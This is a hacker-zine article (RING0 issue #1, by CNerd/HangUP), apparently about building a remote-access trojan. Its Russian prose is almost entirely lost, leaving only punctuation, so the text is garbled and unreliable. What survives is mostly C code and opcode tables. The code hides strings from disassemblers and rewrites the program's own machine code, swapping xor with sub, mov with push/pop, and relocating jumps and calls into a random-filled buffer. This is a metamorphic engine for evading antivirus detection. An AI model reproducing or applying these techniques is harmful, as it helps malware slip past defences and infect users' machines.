
 /*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                               rat

                                                          by CNerd/HangUP

      .      
       asm-,   
       rat- .  ,
         
 .
     ,         ,    
               ,   
  (   ...)  .
  -        .     ,  
     :

   char buf[65535],tmp[65535]

   ( ):

   GetWindowsDirectory(buf,255);
   wsprintf(buf,"%s\\%s.exe",buf,exename);

    (      ,    , 
 ):

   GetWindowsDirectory(buf,255);
   tmp[0]='%'; tmp[1]='s'; tmp[2]='\\'; tmp[3]='%'; tmp[4]='s';
   tmp[5]='.'; tmp[6]='e'; tmp[7]='x';  tmp[8]='e'; tmp[9]=0;
   wsprintf(buf,tmp,buf,exename); // tmp: "%s\\%s.exe"

  ,      ,    .  
 ,          .    , 
 .    ,  IDA,       
 .
         Zombie ( , 
         ;).         .
     :

 char temp[65535]; //     
 int ip;           // ,    

 disasm(&temp[ip]);

         disasm_len ,    
 .    ,    
   :
 while (ip < _)
 {
  disasm(&temp[ip]);

  // ...    ,  
  //    

  ip=ip+disasm_len;
 }

   ,    :

  1.  xor reg8/32,self <-> sub reg8/32,self

30C0 xor al,al   28C0 sub al,al
30C9 xor cl,cl   28C9 sub cl,cl
30D2 xor dl,dl   28D2 sub dl,dl
30DB xor bl,bl   28DB sub bl,bl
30E4 xor ah,ah   28E4 sub ah,ah
30ED xor ch,ch   28ED sub ch,ch
30F6 xor dh,dh   28F6 sub dh,dh
30FF xor bh,bh   28FF sub bh,bh

31C0 xor eax,eax   29C0 sub eax,eax
31C9 xor ecx,ecx   29C9 sub ecx,ecx
31D2 xor edx,edx   29D2 sub edx,edx
31DB xor ebx,ebx   29DB sub ebx,ebx
31E4 xor esp,esp   29E4 sub esp,esp
31ED xor ebp,ebp   29ED sub ebp,ebp
31F6 xor esi,esi   29F6 sub esi,esi
31FF xor edi,edi   29FF sub edi,edi

                     
  xor'  0x18  :
 b1, b2 -     
 ip     -  

if (((b1 == 0x31) || (b1 == 0x30) || (b1 == 0x29) || (b1 == 0x28)) &&
   (((b2-0xC0)/9)*9 == b2-0xC0)) temp[ip]=b1^0x18;

  2.  mov reg32,reg32 <-> push reg32 ; pop reg32

89C0-89FF          5058-575F

89C8 mov eax,ecx   5158 push ecx; pop eax
89D0 mov eax,edx   5258 push edx; pop eax
89D8 mov eax,ebx   5358 push ebx; pop eax
89E0 mov eax,esp   5458 push esp; pop eax
89E8 mov eax,ebp   5558 push ebp; pop eax
89F0 mov eax,esi   5658 push esi; pop eax
89F8 mov eax,edi   5758 push edi; pop eax

89C1 mov ecx,eax   5059 push eax; pop ecx
89D1 mov ecx,edx   5259 push edx; pop ecx
89D9 mov ecx,ebx   5359 push ebx; pop ecx
89E1 mov ecx,esp   5459 push esp; pop ecx
89E9 mov ecx,ebp   5559 push ebp; pop ecx
89F1 mov ecx,esi   5659 push esi; pop ecx
89F9 mov ecx,edi   5759 push edi; pop ecx

89C3 mov ebx,eax   505B push eax; pop ebx
89CB mov ebx,ecx   515B push ecx; pop ebx
89D3 mov ebx,edx   525B push edx; pop ebx
89E3 mov ebx,esp   545B push esp; pop ebx
89EB mov ebx,ebp   555B push ebp; pop ebx
89F3 mov ebx,esi   565B push esi; pop ebx
89FB mov ebx,edi   575B push edi; pop ebx

  ...          .     ,  
    :

b2 -   b1n, b2n -     

b1n = 0x50+(b2-0xC0)/8 b2n = 0x58+b2-0xC0-((b2-0xC0)/8)*8

    :

b2 = (b1n-0x50)*8+0xC0 + b2n-0x58

      :

   // mov reg32,reg32   89C0-89FF

  if ((b1 == 0x89) && (b2 >= 0xC0))
  {
   temp[ip]=0x50+(b2-0xC0)/8;               // push reg32
   temp[ip+1]=0x58+b2-0xC0-((b2-0xC0)/8)*8; // pop  reg32
   goto skip;
  }

   // push reg32   50-57 ; pop reg32   58-5F

  if ((b1 >= 0x50) && (b1 <= 0x57) && (b2 >= 0x58) && (b2 <= 0x5F))
  {
   temp[ip]=0x89;                           // mov reg32,reg32 opcode
   temp[ip+1]=(b1-0x50)*8+0xC0 + b2-0x58;   // reg32,reg32
   disasm_len=2; //  2-    - 
  }

 skip:

  3.    (j? xxx)   (call xxx)
     . C:    
        j? addr  call addr,  addr,  
          ,
           jmp     addr.  
     ;) :

 // Permutation buffer

void dup()
{
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup(); // 50 bytes
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup(); // 500 bytes
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup();
 dup();dup();dup();dup();dup();dup();dup();dup();dup();dup(); // 1000 bytes
}

               1000 ,  
 call'.    ,     , 
           ,    
   jmp/call      .
     .    (
   )        - 5
 FF'.  ,  ,        (,     
 j?/call)        ,  
   rat-    . 
       .
      ,     
 jmp.     5  ,  1-    -  opcode,    4  -  
   eip.  call     ,   
 - E8.
        -   6 
 
  5.    -  ,  0F,    -      (80-8F).
   4  -        eip.  
    1 ,    .    
 .    :

  int x,z,c;
  int a1,a2; //       temp
  DWORD d;   //    <->  

   // jmp addr           call addr         j? addr   0F80-0F8F

  if ((b1 == 0xE9) || (b1 == 0xE8) || ((b1 == 0x0F) && (b2 >= 0x80) && (b2 <= 0x8F)))
  {
   for (z=a2;z>a1;z--) for (x=0;x<5;x++) if (temp[z+x] != 0xFF) break;
   else if (x == 4) goto found; // 5 FF' -  "end of used area"

   found:
   if (a2-z > 15) //  15 ,      
   {
    c=rand()/20000;  // +    
    for (x=z;x < a2;x++) temp[x]=rand()/300;   //  
    for (x=z+5+c;x < z+10+c;x++) temp[x]=0xFF; //  

    x=0; if (b1 == 0x0F) x=1; // +1    (6 )

    temp[z]=0xE9;          //    
    d=MAKELONG(MAKEWORD(b[1+x],b[2+x]),MAKEWORD(b[3+x],b[4+x]));

    d=d-z+ip+x;            //    
    temp[z+1]=LOBYTE(LOWORD(d)); temp[z+2]=HIBYTE(LOWORD(d));
    temp[z+3]=LOBYTE(HIWORD(d)); temp[z+4]=HIBYTE(HIWORD(d));

    d=0xFFFFFFFF-ip+z-4-x; //   .   
    temp[ip+1+x]=LOBYTE(LOWORD(d)); temp[ip+2+x]=HIBYTE(LOWORD(d));
    temp[ip+3+x]=LOBYTE(HIWORD(d)); temp[ip+4+x]=HIBYTE(HIWORD(d));
   }
  }

    .  ,       - 
   .       ;).
